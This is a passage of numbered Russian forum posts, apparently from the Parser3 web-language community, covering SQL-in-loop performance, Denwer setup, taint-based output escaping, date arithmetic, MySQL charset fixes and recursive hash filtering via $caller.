"84934","SQL-запросы в циклах, да еще и многоуровневых циклах - это очень плохая практика."
"84935","возвращаем набор данньіх вместе с подчиненньім набором \
[code][{\"rootID\": \"0\"\
 ,\"Type\" : \"Sensor\"\
 ,\"Sensor\" : {\"Type\":\"L\",\"Status\":\"W\",\"lastCheck\": \"XXXX\"}\
 ,\"History\" : [{\"_dt\": XXXXXX, \"min\": \"-4\",\"max\": \"20\"},{...},...]\
 },\
 ...\
][/code]"
"84936","Здравствуйте. Поставил чистый денвер. О специализированном денвере знаю. Необходимо разобраться в установке Parser для переноса сайтов на сервер и его настройки. \
Денвер выдает ошибку \
Not Found\
The requested URL /cgi-bin/parser3.cgi/pop.ru/index.html was not found on this server.\
\
Файл .htaccess\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Какие мысли форумчане?"
"84937","Подскажите, есть ли у кого нибудь опыт установки Parser на хостинг best-hoster.ru.\
Есть ли у кого то более расширенная инструкция по установке Parser на хостинги?"
"84938","Денвер вам пишет, что /cgi-bin/parser3.cgi ему не известен. Вот с этого и начинайте разбираться: что является для денвера путь /cgi-bin и лежит ли там скрипт parser3.cgi"
"84939","Именно установка парсера ничем не отличается от того, что написано в документации. Другой вопрос в том, что сам хостинги чаще всего зарезают возможности и это уже не вопрос установки парсера, а вопрос того, что конкретно предоставляет хостер и возможно ли решить вопросы через саппорт. Но в первую очередь надо убедиться в том, что проблема именно на уровне хостера, а не в то, что где-то допущена ошибка."
"84940","Ну и убедиться что он лежит по тому пути, который вы прописали в .htaccess"
"84941","Я же не про удобство структуры, а про неоптимальность ее получения с помощью SQL-запросов в циклах\
\
Как минимум все конструкции вида\
[code]^parents.menu{\
	$children[^table::sql{SELECT ID, ... FROM aTableChild WHERE RootID = $parents.ID}]\
 	... to do something with $children ...\
}\
[/code]\
Можно привести без хлопот в такие\
\
[code]$all_children[^table::sql{SELECT ID, ... FROM aTableChild WHERE RootID IN (^parents.menu{$parents.ID}[,]) }]\
^parents.menu{\
	$children[^all_children.select($all_children.RootID == $parents.ID)]\
	... to do something with $children ...\
}\
[/code]"
"84942","но тут только однин девайс и его показания по сенсору, термометру и влагомеру"
"84943","когда select по всем показаниям 150 датчиков переваливает за 12млн в сутки, а показать надо 72-120часов по трем-четьірем приборам....."
"84944","... иначе вы рано или поздно уложите сервер подобным подходом."
"84946","0. Схема: \
\
У запущенного скрипта есть входные, внутренние и выходные данные.\
Т.е.условно поток выглядит так, и с точки зрения обработки потока всех данных\
есть 3 основные фазы: \
\
IN - накопление/получение входных данных за все время работы скрипта\
RUNTIME - какая-то работа с данными в процессе работы скрипта\
OUT - вывод/отдача данных в самом конце(!) после отработки скрипта\
\
[code] \
read-files     --+        (RUNTIME)         +-- write-files \
http-forms/get --+-> (IN)  script.p (OUT) >-+-- http-response\
sql-result     --+                          +-- sql-query \
...                                            ...\
[/code]\
\
Схема построена так, что все строковые(!) данные полученные извне (т.е. незахардкоденные руками в коде, в виде значений переменных или html-текста прям в скрипте руками программиста) по-умолчанию нуждаются в \"карантине\" чтобы потом если какие-то входные данные или их кусочки попадут в OUT, то они не просачивались как-есть (as-is), а автоматически или кастомно подвергались преобразованию (экранировнию) дабы превентивно избегать xss-уязвимостей.\
\
Механизм реализован так, что во время всей работы скрипта, он накапливает входные данные из внешних источников, и все эти входные данные \"невидимо\"(для кода) помечаются (маркируются), и только перед непосредственной отдачей во вне, эти данные мгновенно преобразуются (экранирование/замена опасных символов).\
\
Если ничего кастомно не трогать, то по-умолчанию данные(строки/стринги) из всех внешних источников автоматически красятся в \"dirty\" - неопределенно грязные или т.н. \"общий автоматический случай\".\
\
Все входные данные, которые получили невидимую маркировку типа \"dirty\" перед отдачей будут преобразованы по правилу этого общего случая, которое состоит в том, что парсер сам автоматически выберет преобразование нужного типа под конкретные входные/выходные источники.\
\
Но(!) если кодер хочет немного подстроить маркировку входных данных(строк), чтобы получить на выход более желаемое преобразование, он может принудительно перекрасить  \"dirty\" в какой-то ручной тип маркировки типа file-spec или url, чтобы экранировалось и заменялось всё не по правилу общего случая, а по конкретному. А может вообще очистить от какой бы то ни было маркировки (as-is)\
\
И еще главное! Весь этот механизм работает только(!) со строками и подстроками. Т.е. весь этот винегрет маркировок живет только внутри стрингов, причем по-символьно, т.е. над каждым символом стринга (невидимо висит маркер определенного типа или его отсутствие).\
\
А теперь собсна, сами операторы для работы со всем этим механизмом:\
\
1. Все входные извне стринги автоматически красятся в маркер общего случая (dirty) *документация Парсера его называет tainted чтоб вы запутались с самого начала.\
\
\
\
2. Оператор ^taint[тип][string] красит строку в заданный тип, если тип не указать  то по-умолчанию покрасит в dirty. По сути надо, чтобы или перекрасить обратно в dirty то, что где-то по коду красили в другое. Или по какой-то причине покрасить часть ваших захардкоденных стрингов в грязные по общему случаю (ну мало ли). Если надо просто почистить от каких бы то ни было маркировок строку, то в качестве типа указываем тип \"as-is\", т.е. оставить данные как-есть, и снять маркировку.  \
\
\
\
3. Оператор ^untaint[тип]{string} - делает практически то же самое, но красит не всю указанную строку, а только те символы из строки, которые уже выкрашены в именно цвет dirty (грязный по общему случаю). Ну и чтобы вы окончательно и бесповоротно запутались, то ли историческая сырость первых версий, то ли какие-то нереализованные задумки раннего авторства (PAF'a) -- предлагают вам синтаксис с фигурными скобками и словом (код) в качестве аргумента. \
\
На самом деле это баг, который не влияет на работу. Таинтизмы работают только(!) со строками, передавать код в качестве аргумента не имеет никакого смысла. Просто оно как бы работает, потому что и строки в этом вашем коде тоже есть, а просто строка это как бы тоже код по канонам парсера. \
\
Поэтому, в уме просто представьте несуществующий, но более логический синтаксис ^untaint[тип][string], а еще лучше ^taint[тип][string][but-only-for-dirty-parts]\
\
Т.е. ^untaint не обратная операция по отношению к ^taint, это просто такой же taint но применяемый не ко всей строке принудительно, а выборочно только для dirty-цвета. \
\
\
\
4. Dirty-цвет в документации называют tainted - чтоб уж добить молодого бойца с гарантией :)  Видите цвет tainted (в уме говорите dirty, чтобы не путать с оператором)\
\
\
5. Оператор ^apply-taint[тип][строка] - применяет преобразование со строкой сразу по коду, в то время как обычный taint делает реальное преобразование стрингов(строк) только неподсрественно при отдаче во вне.\
\
6. Каждый символ каждой строки в процессе скрипта несет свой индивидуальный маркер или его отсутствие. \
\
Таким образом, получив кучу строк из нескольких источников, часть из которых, будут автоматически покрашены в dirty, часть, например, вы подкрасите в нужный цвет, и часть будут чистыми изначально, и потом где-то в коде все это многократно смешается, например в одну строку, той же банальной конкатенацией, то в итоге вы получите \"стринг-винегрет\" где каждый кусок строки, а точнее символ будет выкрашен в свой цвет. В этом собственно и суть удержания контроля над грязностью данных.\
\
[code]\
  $a[$form:a] <- это автоматически в dirty-цвете\
  $b[^taint[url][http://site]]  <- это вручную в url-цвете\
  $c[hello] <- это в as-is цвете, т.е. значение забито кодером\
  $d[$a$b$c]  <- эта \"колбаса\" сохранит все цвета составных строк посимвольно\
                 т.е. будет состоять из dirty,url и as-is цвета.\
  \
  ^untaint{$d}  <- перекрасит в as-is только те куски строки (символы), которые были dirty-цвета.\
                   в итоге строковая \"колбаса\" будет состоять из символов as-is и url-цветов (маркеров).\
[/code]\
\
\
P.S.: Надеюсь не запутал еще сильнее ))"
"84947","допустим передали в форму поля login = ivan\
\
[code]\
\
$a[$form:login]                   <- будут в dirty-цвете по-умолчанию\
$b[^taint[url][http://site]]      <- будет в url-цвете \
$c[hello]                         <- будет в as-is цвете по-умолчанию\
\
$d[$a$b$c]                        <- будет из строк разных цветов\
# $d -> [ivanhttp://sitehello]\
          ^      ^        ^\
        dirty   url      as-is\
\
\
\
$d[^untaint{$d}]                  <- untaint без указания типа, \
                                     по-умолчанию красит все dirty-цвета в as-is\
\
# $d -> [ivanhttp://sitehello]\
           ^      ^       ^\
        as-is    url     as-is\
\
$d[^taint[$d]]                    <- taint во-первых красит всю строк принудительно, \
                                     (а не выборочно dirty-куски, как untaint)\
                                     плюс у taint по-умолчанию без явного указания типа\
                                     выставлено красить в dirty\
\
# $d -> [ivanhttp://sitehello]\
           ^    ^     ^\
             d i r t y\
\
\
\
P.S.: С одной стороны поведение по-умолчанию (без указания цвета) у taint и untaint как противоположно:\
\
- taint типа принудительно все красит в dirty, или в выбранный цвет, или в as-is (чистый).\
- untaint только dirty-куски по умолчанию превращает в as-is \
\
а на деле семантика получается такая себе... иначе бы не было бы \"жалоб на таинтизмы\". \
\
\
фактически, когда-то на форуме был предложен более лаконичный синтаксис:\
\
^taint[what][to][string]\
\
what -  что красим? всю строку принудительно или выбранный цвет: all, dirty(tainted), as-is, url... \
to   -  в какой цвет красим? dirty(tainted), as-is, url...  \
string - собственно строка\
\
такой синтаксис не только полностью заменяет все вариации taint и untaint, но и расширяет возможности,\
т.к. сейчас нельзя перекрасить только какой-то выборочный цвет внутри строки, кроме dirty-цвета.\
\
[/code]"
"84948","И весьма неплохой для достаточно запутанной темы. Документация тут да, не идеальна, впору открывать конкурс на лучший вариант. :)\
\
Что мне кажется:\
\
1.  ^untaint просто лишний (очень редко бывает реально нужен). Если его спрятать на задворки документации, путаницы будет меньше.\
\
[quote]^untaint не обратная операция по отношению к ^taint[/quote]\
\
С параметрами по-умолчанию - все-таки обратная. \
$s[^taint[']] - пометили небезопасным, и $s[^untaint{$s}] - сделали как было до.\
\
Правда так можно сказать, что и taint сам себе обратен. :) \
$s[^taint[']] - пометили небезопасным $s[^taint[as-is;$s]] - сделали как было до.\
\
А вот почему у ^untaint код, а не строка - этого уже и сам PAF не помнит. :)\
\
\
2. С точки зрения документирования и прозрачности все было бы сильно проще, если бы были только \"грязные\" или \"чистые\" данные. \
\
Но есть возможность явно задать язык преобразования, и это бывает полезным, например если в результирующем HTML есть ссылка, \
<a href=\"^taint[uri;$form:url]\", или если задается значение переменной в Javascript <script>var Name = \"^taint[js;$form:name]\";</script>.\
И отсюда возникают всякие \"помечает как нуждающийся в преобразовании заданного вида\" и \"неопределенно «грязный»\". :(\
\
Поэтому возможно стоит как-то разделить простые случаи, когда вообще не нужно использовать taint или apply-taint - все работает \"из коробки\",\
то есть отдельно описать, как экранирование работает по умолчанию."
"84951","...то путаница в бОльшей степени состоит не в исчерпывающем наборе возможностей про \"виды красок\". А именно в семантике терминов, операторов. И с ходом времени я \"отдебажил\" именно то на чем происходит спотыкание и вычленил именно 2 ключевых момента:\
\
1= Taint/Untaint - очень условно противополжны, а технически они про разное, и т.к. это \"разное\" применяется не в противоположных случаях - это сбивает с толку в начале.\
\
2= Грязные были названы Tainted :) Что успешно добивает с ходу, по инерции хочется думать, что факт \"покрашенности\" или \"чистоты\" - это tainted или не-tainted, а на самом деле это вид краски, а не факт ее наличия.\
\
При этом, если прочитать документацию с пониманием механизма, то как бы все непротиворечиво. Но семантика вещь суровая, да.\
\
Поэтому, топил бы за \"инновационный\" оператор в будущих версиях, не ломающий обратной совместимости.\
\
а-ля\
\
[code]\
попытка в семантику и приоритетность параметров\
\
^paint[string][to][what][when]\
\
to - в какой цвет? по-умолчанию (dirty/tainted)\
what - что  красим? по-умолчанию (all) или выбранный цвет\
when - когда применить? instant/defer, по умолчанию defer\
\
\
тогда ходовые операции будут выражены так же коротко:\
^paint[строка]                  - эквивалент ^taint[строка]\
^paint[строка][as-is]           - эквивалент ^taint[as-is][строка]\
^paint[строка][as-is][dirty]    - эквивалент ^untaint[строка] \
\
^paint[строка][as-is][url][instant]  - очень классно когда можно в уже смешанных \
                                       данных перекрашивать помеченные куски.\
                                       \
\
P.S.: В этом плане (а чего терять то Парсеру, кроме своих оков?) - я бы предложил еще десяток\
кастомных красок, которые можно ввести на уровне @conf файла например.\
\
Ведь наверняка это всё хранится как \"дублированные строки\", и наверное есть по меньшей мере\
около байта на все виды красок? Стало быть десяточек-другой докинуть никакого оверхеда не принесет.\
\
[/code]\
\
legacy-операторы спокойно живут своей back-compatible жизнью, делая что делают\
а новый paint более понятен и сподручен, делает всё то же самое и даже больше."
"84952","[code]\
^paint[to;what;when][строка]\
\
чтобы при длинных кусках строк, была наглядность параметров,\
а не ползти в конец, чтобы понимать какие доп-параметры там\
\
^paint[as-is;;defer][\
\
много...\
 ...\
... букв\
\
]\
\
[/code]"
"84958","[code]\
^db{\
// ^PointDate.sql-string[] = 2019-10-08 00:55:00 \
   $PointDate[^date::create[$tStartPoint.OUT_calculated]]  \
\
\
// ^vStop.Delta.double(0) = 30 \
// ^vStop.DeltaCorrection.double(0) = -20\
// ^eval((^vStop.Delta.double(0)+^vStop.DeltaCorrection.double(0))/24) = 0.416666666666667\
   ^PointDate.roll[day]((^vStop.Delta.double(0)+^vStop.DeltaCorrection.double(0))/24)\
\
// вроде как все верно\
\
// HO:\
\
// ^PointDate.sql-string[] = 2019-10-08 00:55:00 \
\
[/code]"
"84959","[code]\
^db{\
// ^PointDate.sql-string[] = 2019-10-08 00:55:00 \
   $PointDate[^date::create[$tStartPoint.OUT_calculated]]  \
\
   $dDelta((^vStop.Delta.double(0)+^vStop.DeltaCorrection.double(0))/24)\
// $dDelta = 0.416666666666667\
   ^PointDate.roll[day]($dDelta)\
\
// ^PointDate.sql-string[] = 2019-10-08 00:55:00 \
[/code]"
"84961","[code]$dRoll((^vStop.Delta.double(0)+^vStop.DeltaCorrection.double(0))/24)\
$PointDate[^date::create($PointDate+$dRoll)] \
[/code]\
\
Ветку прошу НЕ удалять, бо через пару лет - опять забудется"
"84963","То есть он больше про календари, чем про время..."
"84964","Здравствуйте. \
Суть проблемы: кладу китайский текст Парсером в одну базу - возвращает китайский текст\
Кладу тот же текст ТЕМ ЖЕ скриптом в другую базу - возвращает знаки вопроса ??????\
\
Код Парсера и настройки везде одинаковые. В обоих базах строка подключения заканчивается на ?charset=utf8.\
Хорошая база: MySQL 5.5.25, столбец utf8_general_ci\
Глючная база: 5.6.28-1+wheezy1+mh2-log, столбец тоже utf8_general_ci\
\
Самое интересное: если записать в глючную базу тот же китайский текст с помощью phpmyadmin, то китайская запись сохраняется нормально, знаки вопроса не появляются. (собственно, поэтому вопрос к Парсеру).\
\
Спасибо."
"84965","Забыл добавить: китайские символы теряются при записи в БД Парсером. \
Запись через phpmyadmin позволяет вывести Парсером нормальные иероглифы. \
Потерю кодировки через веб-формы исключаю, т.к. прописал всё в тестовом файле."
"84966","И еще, \"хорошая\" база стоит на Windows, \"глючная\" на Centos. Может, дело в .so-библиотеках?"
"84967","Запрос ^void:sql{SET NAMES utf8} перед каждым новым INSERT или UPDATE позволяет заносить записи на китайском. \
А можно это как-то в настройках зафиксировать?"
"84968","Возможно на Centos .so старая? В 3.4.5 было исправление:\
\
\"Исправлена ошибка, приводившая к неполной смене языковых переменных при установке mysql соединения с параметром ?charset.\""
"84970","В документации совершенно ясно написано:\
[quote]С помощью этого метода можно увеличивать/уменьшать значения полей [b]year[/b], [b]month[/b], [b]day[/b] объектов класса date.[/quote]\
\
Про время ничего не сказано, значит оно не меняется.\
\
Установили время, сместили день, месяц или год — получили то же время в соответствующий день."
"84971","Не могу разобраться что не так с контекстом. Подскажите, пожалуйста, кто сталкивался?\
\
Простой пример воспроизводящий ошибку.\
\
[code]\
@main[]\
\
$avaliableDataTest[^__xmlFieldsPrepare[]]\
$avaliableDataTest.attr_id\
\
@__xmlFieldsPrepare[]\
$result[\
	$.attr_id{\
		^eval(2+2)\
	}\
]\
[/code]"
"84972","Возможно у вас просто опечатка, и на самом деле хотелось сохранить строку?\
Тогда правильно так, с квадратными скобками:\
\
[code]@__xmlFieldsPrepare[]\
$result[\
	$.attr_id[\
		^eval(2+2)\
	]\
][/code]\
\
А вообще код нельзя выполнять за пределами его области видимости, поскольку он может зависеть от локальных переменных.\
\
Вот так можно:\
\
[code]@__xmlFieldsPrepare[]\
$result[\
	$.attr_id{\
		^eval(2+2)\
	}\
]\
$result.attr_id\
[/code]\
\
Для понимания, код ниже выведет 1,2.\
[code]\
$n(0)\
\
$v{^n.inc[]$n}\
\
$v,$v\
[/code]"
"84974","Суть в чём, в определённом методе есть набор ключей хеша с кодом. ($allModes)\
Есть switch с режимами вывода, в каждом своём режиме, описан другой хэш ($modeHash) с теми же ключами, только с нужными для этого режима элементами.\
\
В конце метода происходит перебор ключей $modeHash с обращением к $allModes.[ключ] и вызвается, только необходимый код.\
\
Это всё работает, но для удобства есть промежуточный метод, где происходят некоторые дополнительные преобразования для $allModes. Т.е. получается такое реализовать не получится, я верно понимаю?\
\
P.S. ещё заметил, что если ключ хэша составной, который требует формата записи:\
\
[code]$.[key.key1]{  code }[/code] то будет ошибка синтаксиса, приходится делать:\
[code]\
$tmp[key.key1]\
$.$tmp{  code }\
[/code]\
чтобы не падало"
"84975","[quote]P.S. ещё заметил, что если ключ хэша составной, который требует формата записи:\
$.[key.key1]{  code }\
то будет ошибка синтаксиса, приходится делать:\
$tmp[key.key1]\
$.$tmp{  code }\
чтобы не падало[/quote]\
\
[code]$h[^hash::create[]]\
$h.[a.b][1]\
\
^json:string[$h]\
[/code]\
\
[code]{\
        \"a.b\":\"1\"\
}[/code]\
\
Такое не будет работать, если точка не часть имени ключа, а чистая — написана в коде.\
Что является указанием на запись в поле несуществующего хэша.\
Его необходимо предварительно создать.\
\
[code]$h[^hash::create[]]\
$h.a.b[1]\
\
b\
element can not be stored to void\
[/code]\
\
[code]$h[\
	$.a[^hash::create[]]\
]\
$h.a.b[1]\
^json:string[$h]\
[/code]\
\
[code]{\
        \"a.b\":\"1\"\
}[/code]"
"84976","Вот так - работает:\
[code]$h[^hash::create[\
	$.[a.b][^junction[]]\
]]\
или вот так:\
$h[^hash::create[\
	$.[a][^junction[]]\
]]\
[/code]\
А вот такие варианты падают с ошибкой синтаксиса:\
\
[code]$h[^hash::create[\
	$.[a.b]{^junction[]}\
]]\
$h[^hash::create[\
	$.[a]{^junction[]}\
]]\
[/code]\
Похоже на багу"
"84977","Я её описал в апреле 2017 года (#1149).\
Кроме ориентира на версию 3.4.6 известий нет."
"84978","[quote]Это всё работает, но для удобства есть промежуточный метод, где происходят некоторые дополнительные преобразования для $allModes. Т.е. получается такое реализовать не получится, я верно понимаю?[/quote]\
\
Зависит от реализации. Нельзя лишь возвращать из метода код, написанный в самом методе. Например так - можно:\
\
[code]\
@main[]\
\
$avaliableDataTest[^__xmlFieldsPrepare[ $.code{^eval($a+2)} ] ]\
\
$avaliableDataTest.attr_id.code\
$a[2]\
$avaliableDataTest.attr_id.code\
\
@__xmlFieldsPrepare[codeHash]\
$result[\
    $.attr_id[$codeHash]\
]\
[/code]"
"84980","не уверен, что меня такое поведение устроит, я попозже попробую и опишу более конкретный пример, чтобы было понятнее, что хочется сделать."
"84981","Уважаемые коллеги,\
подскажите, пожалуйста, решение. Есть следующий код:\
\
$file[^file::create[binary;$filename;^file::load[binary;http://someweb.com/share/$form:folder/$form:newfilename]]]\
$response:download[$file]\
\
Хром отдает файл с корректным названием (например: Заявка на кандидата.doc), в мозилле плывет кодировка (&#199;&#224;&#255;&#226;&#234;&#224; &#237;&#224; &#234;&#224;&#237;&#228;&#232;&#228;&#224;&#242;&#224;.doc).\
\
Заранее спасибо за подсказки."
"84982","$response:download[^file::load[binary;http://someweb.com/share/$form:folder/$form:newfilename;$form:filename]]\
$response:charset[UTF-8]"
"84983","Задача: сделать из сырого контента страницы текст для содержимого description. Треугольники из текста убрал, финальный фрагмент составил, осталась проблема со спецсимволами.\
\
Пробовал taint, taint[html], apply-taint, untaint :-)\
\
Как поступить с [code]$description[&ldquo;Hooray!&rdquo;][/code]? Нужна не замена на лапы, а именно трансформация в символ-кавычку для кода страницы."
"84985","Сайт устроен просто. Есть cfg с uri разделов, каждый раздел в реальности на трёх языках через директорию первого уровня (просто домен.., домен/en/...) и ещё много чего понаверчено.\
\
В корне сайта и в папках лежат идентичные индексы с содержимым \"^page[]\". Далее всё формирует парсер.\
\
И вот в какой-то момент возникла проблема. Некоторые из вполне статичных разделов с их подразделами, пусть будет /uri/ согласно конфигу, перестали отображаться только в одном из языков, пусть будет /en/uri/.\
\
Вместо них в браузере - стандартная четыреста четырка, хотя по файлам-папкам и конфигам всё на вид хорошо и много раз перепроверено. Строка правильная. [b]Логи и сервера, и парсера пустые.[/b]\
\
Заменяю индекс в папке /en/uri/ новым с надписью из трёх букв - и вижу их в браузере чётко.\
\
То есть, только на этом частном случае, только в этой группе разделов в auto.p что-то сбоит - не знаю, не находит файл какой или ещё чего, - но сервер не выдаёт ошибку, а выдаёт 404.\
\
Можно ли что-нибудь сделать до поискового уродования готового кода в 60 кб?"
"84987",".. на страничку с ошибкой. Не исключено, что где-нибудь в ссылках пропущен ведущий слеш и ссылка стала относительной вместо абсолютной.\
\
Но самый быстрый способ это банально отладить свой код — 60 кб это очень немного. Понаставить принтов или писать свои логи через string.save. Короче, надо найти ошибку в своем коде. ;)"
"84988","Дело точно не в такой банальщине. Я сам понимаю, что странно, но вот так происходит.\
\
В разделах написано:\
id uri\
21 /uri/ \
\
Для таких страниц по адресу /en/uri/ и кукам сайт методом @page[], прямо запрошенным из index.html, делает всё: определяет язык, находит ту 21-ю строку, рисует html-преамбулу и вёрстку, туда берёт title из другой таблицы, подсасывает контент из en21.txt, дописывает всякое исходя из языка через ифы... и так далее.\
\
Всё работает, и вот только [i]с одним разделом и одним языком[/i] даёт 404-ку (чего не происходит, если в индексе нет запроса ^page[], а есть просто тест-слово - тогда вижу в браузере его).\
\
То есть, именно в auto.p не срабатывает что-то именно для en и именно для id21, но как поймать это?! Ни преамбулы, ни вёрстки, ни слова вообще, тупо 404 вдруг. Хоть руками адрес пиши, хоть что, повторюсь - убираешь из индекса главметод - получаешь что там написано.\
\
Не обрабатывает метод именно такое сочетание, но НЕ ругается на отсутствующие текст-файлы или ещё на что... Просто тупо 404 вместо всего.\
\
[b]Если не ошибка тупо в адресе[/b] страницы, а это не она, то в каких случаях это может быть? Когда парсер отказывается вообще ото всего и делает вид, что его нет? Код проверил, конечно, ничего специального для каких-либо конкретных случаев в нём нет, всё общо... Снова повторюсь, что урл точно верный, индекс вызывает метод без опечаток (да иначе ошибался бы по его отсутствию) и всё такое. Что-то где-то в кишках не получается, но как отследить для обычного частного случая."
"84990","[code]@auto[]\
$findamistake[Way:]\
#\
#\
$findamistake[$findamistake\
сделано то-то с результатом $vot]\
#\
$findamistake[$findamistake\
сделано сё-то с результатом $tak]\
#\
$findamistake[$findamistake\
сделано третье с результатом $no3]\
^findamistake.save[/findamistake1.txt]\
\
@figauto[]\
#\
$findamistake[$findamistake\
определено одно с результатом $odno]\
#\
#\
$findamistake[$findamistake\
определено другое с результатом $drugoe]\
#\
$findamistake[$findamistake\
поиск $this в $that определил $result]\
#\
^findamistake.save[/findamistake2.txt][/code]\
\
После мгновенного нахождения ошибки (в моём случае проявлялась почему-то в разнице обработки урлов /en/dir/ и /en/hooir/ для извлечения /dir/ и /hooir/ под поиск в секциях, но отсутствовала при другом языковом префиксе, щас разберусь, кроч) код быстро протирается через Ctrl+F - findamistake.\
\
Как бы сам принцип отслеживания маршрута парсерных действий через накапливаемую строку и ряд сейвов (чтоб не пытаться сейвиться лишь позже ошибки) изначально не пришёл в голову :-). А дел на три минуты."
"84991","Про что Sumo и писал:\
[quote]Понаставить принтов или писать свои логи через string.save.[/quote]"
"84992","Спасибо!\
\
Всё-таки остаётся непонятной техническая сторона произодедшего. Не поможете разобраться?\
\
[b]index.html[/b]\
^method[]\
\
[b]auto.p[/b]\
@auto[]\
blah-blah\
#тут ошибка распознания урла => нахождения раздела и вытягивания базовых переменных из таблицы\
@method[]\
<!doctype><html>\
<head>^head[]</head>\
<body>^body[]</body>\
</html>\
@head[]\
#все ^if-ы дают пустые строки вследствие ошибки\
@body[]\
#все ^if-ы дают пустые строки вследствие ошибки\
\
Ошибка в алгоритме распарса $request:uri устранена, всё заработало. Но как же так получается, что в такой конструкции парсер и не искейпит по непонятке в @auto[], и одновременно не рисует html из @method[], а просто молча не выдаёт [b]вообще ничего?[/b]\
\
Ведь index.html ясно просит ^method[], а в нём основа - чистый безусловный html."
"84993","В подозрительное место, например так:\
[code]\
@auto[]\
…\
^throw[debug;auto: $var]\
\
@method[]\
…\
^throw[debug;method: $var]\
[/code]\
\
Где выводите в исключении нужные значения по всем стадиям обработки запроса.\
Если исключения нет — до данного место дело не дошло."
"84994","Допустим есть у меня такой хэш\
\
[code]$hash[^hash::create[\
	$.1[\
		$.param1[q]\
		$.param2[w]\
	]\
	$.2[\
		$.param1[x]\
		$.param4[e]\
	]\
]]\
[/code]\
Можно ли в принципе написать такой метод, который зная структуру вернет хэш исходя из заданных условий для вложенных ключей, типа такого:\
\
[code]$newhash[^hash_select[$hash](def $.param1 && $.param2 == 'w')][/code]\
\
Понятно что так не работает, это только для иллюстрации. Пока не соображу возможно ли такое вообще"
"84995","https://www.parser.ru/forum/?id=84449 — это несколько замороченная штука, но в целом ты хочешь простого: делаем форич и кладем в новый хешик все, что соответствуеттусловию. Только надо key и value протащить наверх через caller"
"84996","Ты что-то такое имел ввиду? Или тут есть что [i]улучшить[/i]?\
\
[code]\
$hash[^hash::create[\
	$.1[\
		$.param1[q]\
		$.param2[w]\
	]\
	$.2[\
		$.param1[x]\
		$.param4[e]\
	]\
]]\
\
$newhash[^hash_select[$hash][k;v](def $v.param4 && $v.param1 eq 'x')]\
\
\
@hash_select[hash;key;value;cond][locals]\
$result[^hash::create[]]\
\
^hash.foreach[k;v]{\
    $caller.$key[$k]\
    $caller.$value[$v]\
\
	^if($cond){\
        $result.$k[$v]\
    }\
}\
[/code]"
"84998","Я так понимаю, если мне понадобится метод\
\
[code]$newhash[^hash_deep_select[$hash][k;v](def $v.param4 && $v.param1 eq 'x')][/code]\
\
который должен найти и вернуть все вложенные ключи (или ветки с этими ключами) с выполнением заданного условия, то я добавляю в сам метод рекурсивный вызов самого себя и это тоже будет работать?"
"84999","Только надо аккуратно с колером работать. После рекурсивного вызова надо восстанавливать k/v из текущего метода."
"85000","[code]@main[]\
$hash[\
	$.a[\
		$.c(1)\
		$.d(2)\
	]\
	$.b[3]\
	$.e[4]\
	$.f[2]\
]\
\
<pre>\
	^json:string[^select[$hash][;value]($value == 2)[\
		$.recursive(true)\
	]][\
		$.indent(true)\
	]\
</pre>\
\
\
@select[hash;key_name;value_name;condition;options][locals]\
$result[^hash::create[]]\
\
$recursive(^options.recursive.bool(false))\
$index(0)\
\
^hash.foreach[key;value]{\
	^if($value is hash && $recursive){\
		^result.add[^select[$value;$key_name;$value_name]{\
			$caller.$key_name[$$key_name]\
			$caller.$value_name[$$value_name]\
\
			$condition\
		}[$options]]\
	}{\
		$caller.$key_name[$key]\
		$caller.$value_name[$value]\
\
		^if($condition){\
			^result.add[^hash.at($index)[hash]]\
		}\
	}\
\
	^index.inc[]\
}\
\
\
# @select[hash;key_name;value_name;condition;options][locals]\
# $result[^hash::create[]]\
\
# $recursive(^options.recursive.bool(false))\
# $index(0)\
\
# ^hash.foreach[key;value]{\
# 	^if($value is hash && $recursive){\
# 		$selected[\
# 			$.$key[^select[$value;$key_name;$value_name]{\
# 				$caller.$key_name[$$key_name]\
# 				$caller.$value_name[$$value_name]\
\
# 				$condition\
# 			}[$options]]\
# 		]\
# 	}{\
# 		$caller.$key_name[$key]\
# 		$caller.$value_name[$value]\
\
# 		^if($condition){\
# 			$selected[^hash.at($index)[hash]]\
# 		}\
# 	}\
\
# 	^result.add[$selected]\
\
# 	^index.inc[]\
# }[/code]\
\
Если нужен плоский вид результата, то используем первый метод:\
[code]{\
	\"d\":2,\
	\"f\":\"2\"\
}[/code]\
\
Если вложенный — второй:\
[code]{\
	\"a\":{\
		\"d\":2\
	},\
	\"f\":\"2\"\
}[/code]\
\
[code]^hash.at($index)[hash][/code]\
вместо\
[code]$.$key[$value][/code]\
чтобы сохранять тип значения, не приводя числа к строкам."
"85001","Спасибо, круто!\
Эту конструкцию\
[code]$caller.$key_name[$$key_name][/code]\
Я не пойму наверное никогда )\
\
Второй метод работает со странностями. Если указать key:\
[code]	\
^json:string[^select[$hash][[b]key[/b];value]($value == 2)[\
	$.recursive(true)\
]][\
	$.indent(true)\
][/code]\
То в результате поедут ключи:\
[code]{\
	\"[b]d[/b]\":{\
		\"d\":2\
	},\
	\"f\":\"2\"\
}[/code]\
И вторая - если метод ничего не находит - он возвращает ключи с которых были хэши:\
[code]^json:string[^select[$hash][;value]($value == 222)[\
	$.recursive(true)\
]][\
	$.indent(true)\
]\
[/code]\
[code]{\
	\"a\":{},\
}\
[/code]		\
Я это вылечил проверкой что из рекурсии что-то пришло:\
[code]$selected[\
	$deep[^select[$value;$key_name;$value_name]{\
		$caller.$key_name[$$key_name]\
		$caller.$value_name[$$value_name]\
		$condition\
	}[$options]]\
	^if($deep){\
		$.$key[$deep]\
	}\
]\
[/code]"
"85002","*Насколько я вообще помню по прошествию лет (так, что могу ошибиться)\
\
[code]\
caller - это такой искусственный \"объект\", \"телепортирующий\", а точнее дающий \"портал\" в \"предыдущий\" контекст кода. Слово \"предыдущий\" понимается не контексте последовательного выполнения кода, а в контексте инкапсуляции - т.е. погружения в изолированные контексты других методов (или операторов со скобками {}).\
\
Это намеренная \"форточка\" на случай необходимости доступа к локальным переменным разных изолированных контекстов. В целом, использования таких практик стоит избегать, но когда прям вот надо - то для этого оно и существует. Так реализуется в Парсере схема, известная, как \"замыкания\".\
\
Таким образом, \
@method1[][a;b]   # а и b локальные переменные метода1\
$a[1]\
$b[1]\
\
^method2[]        # вызов этого метода поменяет значение в нашей локальной $a\
\
@method2[][a;b]   # локальные переменные метода2\
$a[1]\
$b[1]\
\
$caller.a[2]      # изменить значение $a в пространстве метода1\
\
 # А если у нас динамический выбор имени переменной? Например:\
\
